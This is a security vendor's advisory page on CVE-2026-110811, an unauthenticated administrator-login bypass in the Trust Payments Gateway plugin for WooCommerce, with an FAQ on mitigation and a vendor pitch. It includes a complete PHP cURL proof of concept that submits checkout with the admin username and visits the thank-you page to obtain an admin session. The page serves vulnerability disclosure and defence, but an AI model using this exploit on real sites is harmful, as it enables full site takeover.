Atomic Edge analysis of CVE-2026-110811 (metadata-based): The Trust Payments Gateway for WooCommerce (JavaScript Library) plugin, versions up to and including 1.3.8, contains an unauthenticated authentication bypass vulnerability. The flaw resides in the new_customer_account() function during guest checkout and the add_customer_details_to_thankyou_page() callback. When an attacker supplies a new_username parameter that matches an existing WordPress login (e.g., the administrator), wp_create_user() returns a WP_Error object. The function stores this raw error object in the order’s tp_userid post meta before checking is_wp_error(). Later, the thank-you page callback reads this meta and casts it with (int), coercing the object to integer 1. The callback then calls wp_set_current_user(1) and wp_set_auth_cookie(1) unconditionally, authenticating the attacker as user ID 1, the site administrator (or network super-admin on multisite). This vulnerability has a CVSS score of 9.8 (Critical) and is classified as CWE-287 Improper Authentication. No patched version is available. Atomic Edge analysis confirms these details from the CVE description; no source code diff was available, so the exact code flow is inferred from the description and CWE.

CVE-2026-110811: Trust Payments Gateway for WooCommerce (JavaScript Library) <= 1.3.8 Unauthenticated Authentication Bypass to Administrator via Guest-Registration WP_Error Coercion PoC, Patch Analysis & Rule
CVE-2026-110811
trust-payments-gateway-3ds2
1.3.8
—
Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Analysis Overview
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-110811 - Trust Payments Gateway for WooCommerce (JavaScript Library) <= 1.3.8 - Unauthenticated Authentication Bypass to Administrator via Guest-Registration WP_Error Coercion
// This PoC demonstrates the authentication bypass by completing a checkout with an existing username and then visiting the thank-you page.
// Assumptions: WordPress is installed at $target_url, WooCommerce and the Trust Payments Gateway plugin are active, and the gateway is configured for checkout.
$target_url = 'http://example.com'; // Change to your target WordPress site URL
// Step 1: Discover the administrator username (default: 'admin')
// The CVE description states the ID 1 administrator username is enumerable via standard WordPress user enumeration.
// For this PoC, we assume the username is 'admin'. Replace with the actual username if known.
$admin_username = 'admin';
// Step 2: Initialize cURL session
$ch = curl_init();
// Step 3: Add a product to the cart to start the checkout process.
// We need a valid product ID. This is site-specific. We'll use product ID 1 as a placeholder.
// Replace with an actual product ID from the target site.
$product_id = 1;
// Get the cart page to obtain any necessary cookies or nonces.
curl_setopt($ch, CURLOPT_URL, $target_url . '/?add-to-cart=' . $product_id);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
die('Error: ' . curl_error($ch));
}
// Step 4: Proceed to checkout and fill in the form, providing the admin username as new_username.
// We need to submit the checkout form. The exact fields depend on WooCommerce and the plugin.
// We'll simulate a POST to the checkout endpoint with required fields.
$checkout_url = $target_url . '/checkout/';
$post_fields = [
'billing_first_name' => 'Test',
'billing_last_name' => 'User',
'billing_email' => 'test@example.com',
'billing_phone' => '1234567890',
'billing_address_1' => '123 Test St',
'billing_city' => 'Test City',
'billing_postcode' => '12345',
'billing_country' => 'US',
'payment_method' => 'trust_payments', // Adjust to the actual gateway ID
'terms' => 'on',
'new_username' => $admin_username, // The critical parameter: existing username
'woocommerce-process-checkout-nonce' => '...', // Need to extract from the checkout page
// Add other required fields as needed
];
// First, GET the checkout page to extract the nonce and any other hidden fields.
curl_setopt($ch, CURLOPT_URL, $checkout_url);
curl_setopt($ch, CURLOPT_POST, false);
$checkout_page = curl_exec($ch);
// Extract the nonce (simplified regex; in practice, use DOM parsing)
if (preg_match('/name="woocommerce-process-checkout-nonce" value="([^"]+)"/', $checkout_page, $matches)) {
$post_fields['woocommerce-process-checkout-nonce'] = $matches[1];
} else {
die('Could not find checkout nonce. The checkout page structure may differ.n');
}
// Step 5: Submit the checkout form with the new_username set to the admin username.
curl_setopt($ch, CURLOPT_URL, $checkout_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
if (curl_errno($ch)) {
die('Error: ' . curl_error($ch));
}
// Step 6: Extract the order-received URL from the response (redirect or link).
// The thank-you page is typically at /checkout/order-received/{order_id}/?key={order_key}
if (preg_match('/order-received/(d+)/', $response, $order_matches)) {
$order_id = $order_matches[1];
// The order key is usually in the URL or in the page. We'll try to extract it.
if (preg_match('/order-received/d+/?key=([a-z0-9]+)/', $response, $key_matches)) {
$order_key = $key_matches[1];
} else {
// If not found, we may need to parse the response differently.
die('Could not extract order key. The checkout may have failed.n');
}
} else {
die('Could not find order-received URL. The checkout may have failed.n');
}
// Step 7: Visit the thank-you page to trigger the authentication bypass.
$thankyou_url = $target_url . '/checkout/order-received/' . $order_id . '/?key=' . $order_key;
curl_setopt($ch, CURLOPT_URL, $thankyou_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (curl_errno($ch)) {
die('Error: ' . curl_error($ch));
}
// Step 8: Verify authentication by accessing the WordPress admin dashboard.
$admin_url = $target_url . '/wp-admin/';
curl_setopt($ch, CURLOPT_URL, $admin_url);
$response = curl_exec($ch);
// Check if we are logged in as admin (e.g., presence of admin bar or dashboard content)
if (strpos($response, 'Dashboard') !== false || strpos($response, 'wp-admin-bar-my-account') !== false) {
echo "Exploit successful! Logged in as administrator.n";
} else {
echo "Exploit may have failed. Check responses manually.n";
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-110811?
Vulnerability overviewCVE-2026-110811 is a critical authentication bypass vulnerability in the Trust Payments Gateway for WooCommerce (JavaScript Library) plugin for WordPress, affecting versions up to and including 1.3.8. It allows unauthenticated attackers to gain administrator access by exploiting a flaw in how the plugin handles user creation during guest checkout. The vulnerability has a CVSS score of 9.8 and is classified as CWE-287 (Improper Authentication).
How does the authentication bypass work?
Technical mechanismThe vulnerability occurs because the new_customer_account() function stores the raw return value of wp_create_user(), including a WP_Error object on username collision, into the order’s tp_userid post meta before checking is_wp_error(). Later, the add_customer_details_to_thankyou_page() callback reads that meta and casts it with (int), coercing the object to integer 1. The callback then calls wp_set_current_user(1) and wp_set_auth_cookie(1) unconditionally, authenticating the attacker as user ID 1, which is typically the site administrator.
Who is affected by this vulnerability?
Affected installationsAny WordPress site running the Trust Payments Gateway for WooCommerce (JavaScript Library) plugin version 1.3.8 or earlier with the gateway active and configured for checkout is affected. This includes sites using WooCommerce for payments. Multisite installations are also at risk because user ID 1 may be a network super-admin.
How can I check if my site is vulnerable?
Detection stepsCheck the plugin version installed on your site. If it is 1.3.8 or earlier and the Trust Payments gateway is active, your site is vulnerable. You can verify the plugin version in the WordPress admin under Plugins, or by checking the plugin file header. There is currently no patched version available, so any installation with the plugin active is at risk.
What is the risk level in practical terms?
Impact assessmentThe CVSS score of 9.8 indicates a critical risk. An attacker can gain full administrator access without authentication, leading to complete site compromise, including data theft, malware installation, and site takeover. The vulnerability is remotely exploitable and requires no special privileges, making it highly dangerous for affected sites.
How can I fix or mitigate this vulnerability?
Remediation guidanceAs no patched version is available, the primary mitigation is to disable or remove the Trust Payments Gateway plugin until a fix is released. If the plugin must remain active, consider implementing a web application firewall (WAF) rule to block exploitation attempts, and monitor for suspicious user account changes. Additionally, ensure that user enumeration is restricted and that the administrator username is not easily guessable.
What does the proof of concept demonstrate?
PoC explanationThe proof of concept shows how an attacker can complete a checkout using an existing username, such as the administrator’s, to trigger the WP_Error condition. By then visiting the thank-you page, the attacker’s session is authenticated as user ID 1. The PoC assumes the attacker can enumerate the administrator username and complete a paid order, which may require a valid payment method or a test gateway configuration.
Why is user ID 1 specifically targeted?
Administrator account significanceUser ID 1 is typically the first user created during WordPress installation, which is almost always the site administrator. On multisite, it is the network super-admin. Because the vulnerability coerces the WP_Error object to integer 1, the attacker is automatically logged in as this high-privilege user, granting full control over the site.
Can the vulnerability be exploited without completing a payment?
Exploitation requirementsThe vulnerability requires the attacker to complete a paid order on their own account through the Trust Payments gateway. This means the attacker must go through the checkout process and successfully process a payment, which may involve a small transaction. However, once the order is placed, the attacker can visit the thank-you page to trigger the authentication bypass.
Is the administrator username required for exploitation?
Username enumerationYes, the attacker must supply a new_username parameter that matches an existing WordPress login, such as the administrator’s username. This username can often be discovered through standard WordPress user enumeration techniques, such as author archives or REST API endpoints. Therefore, restricting user enumeration can add a layer of defense, though it does not fix the underlying vulnerability.
What should I do if I suspect my site has been compromised?
Incident responseIf you suspect exploitation, immediately change all administrator passwords, review user accounts for unauthorized additions, and scan for malware or backdoors. Check access logs for suspicious requests to the thank-you page with unusual parameters. Consider restoring from a backup taken before the compromise and conduct a full security audit.
Are there any WAF rules available to block this attack?
Virtual patchingWhile no official patch exists, some WAF providers may release virtual patching rules to block exploitation attempts. These rules typically detect malicious requests targeting the checkout or thank-you page with crafted parameters. Check with your WAF vendor for updates, and consider implementing custom rules to block requests containing suspicious new_username values or unusual order meta manipulation.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






